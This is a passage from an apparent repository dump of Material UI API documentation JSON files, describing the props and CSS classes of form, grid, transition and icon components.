inherited from the parent FormControl component.\"\n    },\n    \"disableUnderline\": {\n      \"description\": \"If <code>true</code>, the input will not have an underline.\"\n    },\n    \"endAdornment\": { \"description\": \"End <code>InputAdornment</code> for this component.\" },\n    \"error\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will indicate an error. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> will take up the full width of its container.\"\n    },\n    \"hiddenLabel\": {\n      \"description\": \"If <code>true</code>, the label is hidden. This is used to increase density for a <code>FilledInput</code>. Be sure to add <code>aria-label</code> to the <code>input</code> element.\"\n    },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"inputComponent\": {\n      \"description\": \"The component used for the <code>input</code> element. Either a string to use a HTML element or a component.\"\n    },\n    \"inputProps\": {\n      \"description\": \"<a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes\\\">Attributes</a> applied to the <code>input</code> element.\"\n    },\n    \"inputRef\": { \"description\": \"Pass a ref to the <code>input</code> element.\" },\n    \"margin\": {\n      \"description\": \"If <code>dense</code>, will adjust vertical spacing. This is normally obtained via context from FormControl. The prop defaults to the value (<code>&#39;none&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"maxRows\": {\n      \"description\": \"Maximum number of rows to display when multiline option is set to true.\"\n    },\n    \"minRows\": {\n      \"description\": \"Minimum number of rows to display when multiline option is set to true.\"\n    },\n    \"multiline\": {\n      \"description\": \"If <code>true</code>, a <a href=\\\"https://mui.com/material-ui/react-textarea-autosize/\\\">TextareaAutosize</a> element is rendered.\"\n    },\n    \"name\": { \"description\": \"Name attribute of the <code>input</code> element.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string).\"\n        }\n      }\n    },\n    \"placeholder\": {\n      \"description\": \"The short hint displayed in the <code>input</code> before the user enters a value.\"\n    },\n    \"readOnly\": {\n      \"description\": \"It prevents the user from changing the value of the field (not from interacting with the field).\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required. The prop defaults to the value (<code>false</code>) inherited from the parent FormControl component.\"\n    },\n    \"rows\": { \"description\": \"Number of rows to display when multiline option is set to true.\" },\n    \"slotProps\": {\n      \"description\": \"The extra props for the slot components. You can override the existing props or add new ones.\"\n    },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"startAdornment\": { \"description\": \"Start <code>InputAdornment</code> for this component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"type\": {\n      \"description\": \"Type of the <code>input</code> element. It should be <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types\\\">a valid HTML5 input type</a>.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the <code>input</code> element, required for a controlled component.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"adornedEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>endAdornment</code> is provided\"\n    },\n    \"adornedStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>startAdornment</code> is provided\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"color secondary\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"focused\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the component is focused\"\n    },\n    \"hiddenLabel\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>hiddenLabel={true}</code>\"\n    },\n    \"input\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the input element\" },\n    \"multiline\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>multiline={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"underline\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableUnderline={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/form-control/form-control.json",
    "content": "{\n  \"componentDescription\": \"Provides context such as filled/focused/error/required for form inputs.\\nRelying on the context provides high flexibility and ensures that the state always stays\\nconsistent across the children of the `FormControl`.\\nThis context is used by the following components:\\n\\n - FormLabel\\n - FormHelperText\\n - Input\\n - InputLabel\\n\\nYou can find one composition example below and more going to [the demos](/material-ui/react-text-field/#components).\\n\\n```jsx\\n<FormControl>\\n  <InputLabel htmlFor=\\\"my-input\\\">Email address</InputLabel>\\n  <Input id=\\\"my-input\\\" aria-describedby=\\\"my-helper-text\\\" />\\n  <FormHelperText id=\\\"my-helper-text\\\">We'll never share your email.</FormHelperText>\\n</FormControl>\\n```\\n\\n⚠️ Only one `InputBase` can be used within a FormControl because it creates visual inconsistencies.\\nFor instance, only one input can be focused at the same time, the state shouldn't be shared.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the label, input and helper text should be displayed in a disabled state.\"\n    },\n    \"error\": { \"description\": \"If <code>true</code>, the label is displayed in an error state.\" },\n    \"focused\": {\n      \"description\": \"If <code>true</code>, the component is displayed in focused state.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the component will take up the full width of its container.\"\n    },\n    \"hiddenLabel\": {\n      \"description\": \"If <code>true</code>, the label is hidden. This is used to increase density for a <code>FilledInput</code>. Be sure to add <code>aria-label</code> to the <code>input</code> element.\"\n    },\n    \"margin\": {\n      \"description\": \"If <code>dense</code> or <code>normal</code>, will adjust vertical spacing of this and contained components.\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the label will indicate that the <code>input</code> is required.\"\n    },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"marginDense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>margin=\\\"dense\\\"</code>\"\n    },\n    \"marginNormal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>margin=\\\"normal\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/form-control-label/form-control-label.json",
    "content": "{\n  \"componentDescription\": \"Drop-in replacement of the `Radio`, `Switch` and `Checkbox` component.\\nUse this component if you want to display an extra label.\",\n  \"propDescriptions\": {\n    \"checked\": { \"description\": \"If <code>true</code>, the component appears selected.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"control\": {\n      \"description\": \"A control element. For instance, it can be a <code>Radio</code>, a <code>Switch</code> or a <code>Checkbox</code>.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the control is disabled.\" },\n    \"disableTypography\": {\n      \"description\": \"If <code>true</code>, the label is rendered as it is passed without an additional typography node.\"\n    },\n    \"inputRef\": { \"description\": \"Pass a ref to the <code>input</code> element.\" },\n    \"label\": { \"description\": \"A text or an element to be used in an enclosing label element.\" },\n    \"labelPlacement\": { \"description\": \"The position of the label.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the state is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new checked state by accessing <code>event.target.checked</code> (boolean).\"\n        }\n      }\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the label will indicate that the <code>input</code> is required.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": { \"description\": \"The value of the component.\" }\n  },\n  \"classDescriptions\": {\n    \"asterisk\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the asterisk element\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"label\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the label&#39;s Typography component\"\n    },\n    \"labelPlacementBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>labelPlacement=\\\"bottom\\\"</code>\"\n    },\n    \"labelPlacementStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>labelPlacement=\\\"start\\\"</code>\"\n    },\n    \"labelPlacementTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>labelPlacement=\\\"top\\\"</code>\"\n    },\n    \"required\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>required={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  },\n  \"slotDescriptions\": {\n    \"typography\": \"The component that renders the label. This is unused if <code>disableTypography</code> is true.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/form-group/form-group.json",
    "content": "{\n  \"componentDescription\": \"`FormGroup` wraps controls such as `Checkbox` and `Switch`.\\nIt provides compact row layout.\\nFor the `Radio`, you should be using the `RadioGroup` component instead of this one.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"row\": { \"description\": \"Display group of elements in a compact row.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"row\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>row={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/form-helper-text/form-helper-text.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the component.<br>If <code>&#39; &#39;</code> is provided, the component reserves one line height for displaying a future message.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the helper text should be displayed in a disabled state.\"\n    },\n    \"error\": {\n      \"description\": \"If <code>true</code>, helper text should be displayed in an error state.\"\n    },\n    \"filled\": {\n      \"description\": \"If <code>true</code>, the helper text should use filled classes key.\"\n    },\n    \"focused\": {\n      \"description\": \"If <code>true</code>, the helper text should use focused classes key.\"\n    },\n    \"margin\": {\n      \"description\": \"If <code>dense</code>, will adjust vertical spacing. This is normally obtained via context from FormControl.\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the helper text should use required classes key.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"contained\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code> or <code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"filled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>filled={true}</code>\"\n    },\n    \"focused\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>focused={true}</code>\"\n    },\n    \"required\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>required={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/form-label/form-label.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the label should be displayed in a disabled state.\"\n    },\n    \"error\": { \"description\": \"If <code>true</code>, the label is displayed in an error state.\" },\n    \"filled\": { \"description\": \"If <code>true</code>, the label should use filled classes key.\" },\n    \"focused\": {\n      \"description\": \"If <code>true</code>, the input of this label is focused (used by <code>FormGroup</code> components).\"\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the label will indicate that the <code>input</code> is required.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"asterisk\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the asterisk element\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the color is secondary\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"filled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>filled={true}</code>\"\n    },\n    \"focused\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>focused={true}</code>\"\n    },\n    \"required\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>required={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/global-styles/global-styles.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": { \"styles\": { \"description\": \"The styles you want to apply globally.\" } },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/grid/grid.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"columns\": { \"description\": \"The number of columns.\" },\n    \"columnSpacing\": {\n      \"description\": \"Defines the horizontal space between the type <code>item</code> components. It overrides the value of the <code>spacing</code> prop.\"\n    },\n    \"container\": {\n      \"description\": \"If <code>true</code>, the component will have the flex <em>container</em> behavior. You should be wrapping <em>items</em> with a <em>container</em>.\"\n    },\n    \"direction\": {\n      \"description\": \"Defines the <code>flex-direction</code> style property for the container.<br>⚠️ Only <code>row</code> and <code>row-reverse</code> are supported. <code>column</code> and <code>column-reverse</code> are not supported, because the Grid component is designed to subdivide layouts into <strong>columns</strong>, not rows.<br>For vertical layouts, use <code>Stack</code> instead.\"\n    },\n    \"offset\": {\n      \"description\": \"Defines the offset value for the type <code>item</code> components.\"\n    },\n    \"rowSpacing\": {\n      \"description\": \"Defines the vertical space between the type <code>item</code> components. It overrides the value of the <code>spacing</code> prop.\"\n    },\n    \"size\": { \"description\": \"Defines the size of the the type <code>item</code> components.\" },\n    \"spacing\": {\n      \"description\": \"Defines the space between the type <code>item</code> components. It can only be used on a type <code>container</code> component.\"\n    },\n    \"wrap\": {\n      \"description\": \"Defines the <code>flex-wrap</code> style property. It&#39;s applied for all screen sizes.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"container\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>container={true}</code>\"\n    },\n    \"direction-xs-column\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>direction=\\\"column\\\"</code>\"\n    },\n    \"direction-xs-column-reverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>direction=\\\"column-reverse\\\"</code>\"\n    },\n    \"direction-xs-row-reverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>direction=\\\"row-reverse\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"wrap-xs-nowrap\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>wrap=\\\"nowrap\\\"</code>\"\n    },\n    \"wrap-xs-wrap-reverse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>wrap=\\\"reverse\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/grow/grow.json",
    "content": "{\n  \"componentDescription\": \"The Grow transition is used by the [Tooltip](/material-ui/react-tooltip/) and\\n[Popover](/material-ui/react-popover/) components.\\nIt uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\",\n  \"propDescriptions\": {\n    \"addEndListener\": {\n      \"description\": \"Add a custom transition end trigger. Called with the transitioning DOM node and a done callback. Allows for more fine grained transition end logic. Note: Timeouts are still used as a fallback if provided.\"\n    },\n    \"appear\": {\n      \"description\": \"Perform the enter transition when it first mounts if <code>in</code> is also <code>true</code>. Set this to <code>false</code> to disable this behavior.\"\n    },\n    \"children\": { \"description\": \"A single child content element.\", \"requiresRef\": true },\n    \"easing\": {\n      \"description\": \"The transition timing function. You may specify a single easing or a object containing enter and exit values.\"\n    },\n    \"in\": { \"description\": \"If <code>true</code>, the component will transition in.\" },\n    \"timeout\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.<br>Set to &#39;auto&#39; to automatically calculate transition time based on height.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/icon/icon.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"baseClassName\": {\n      \"description\": \"The base class applied to the icon. Defaults to &#39;material-icons&#39;, but can be changed to any other base class that suits the icon font you&#39;re using (for example material-icons-rounded, fas, etc).\"\n    },\n    \"children\": { \"description\": \"The name of the icon font ligature.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"fontSize\": {\n      \"description\": \"The fontSize applied to the icon. Defaults to 24px, but can be configure to inherit font size.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"colorAction\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"action\\\"</code>\"\n    },\n    \"colorDisabled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"disabled\\\"</code>\"\n    },\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"fontSizeInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"inherit\\\"</code>\"\n    },\n    \"fontSizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"large\\\"</code>\"\n    },\n    \"fontSizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"small\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/icon-button/icon-button.json",
    "content": "{\n  \"componentDescription\": \"Refer to the [Icons](/material-ui/icons/) section of the documentation\\nregarding the available icon options.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The icon to display.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableFocusRipple\": {\n      \"description\": \"If <code>true</code>, the  keyboard focus ripple is disabled.\"\n    },\n    \"disableRipple\": {\n      \"description\": \"If <code>true</code>, the ripple effect is disabled.<br>⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure to highlight the element by applying separate styles with the <code>.Mui-focusVisible</code> class.\"\n    },\n    \"edge\": {\n      \"description\": \"If given, uses a negative margin to counteract the padding on one side (this is often helpful for aligning the left or right side of the icon with content above or below, without ruining the border size and shape).\"\n    },\n    \"loading\": {\n      \"description\": \"If <code>true</code>, the loading indicator is visible and the button is disabled. If <code>true | false</code>, the loading wrapper is always rendered before the children to prevent <a href=\\\"https://github.com/mui/material-ui/issues/27853\\\">Google Translation Crash</a>.\"\n    },\n    \"loadingIndicator\": {\n      \"description\": \"Element placed before the children if the button is in loading state. The node should contain an element with <code>role=&quot;progressbar&quot;</code> with an accessible name. By default, it renders a <code>CircularProgress</code> that is labeled by the button itself.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense button styling.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"inherit\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"edgeEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>edge=\\\"end\\\"</code>\"\n    },\n    \"edgeStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>edge=\\\"start\\\"</code>\"\n    },\n    \"loading\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>loading={true}</code>\"\n    },\n    \"loadingIndicator\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the loadingIndicator element\"\n    },\n    \"loadingWrapper\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the loadingWrapper element\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"large\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/image-list/image-list.json",
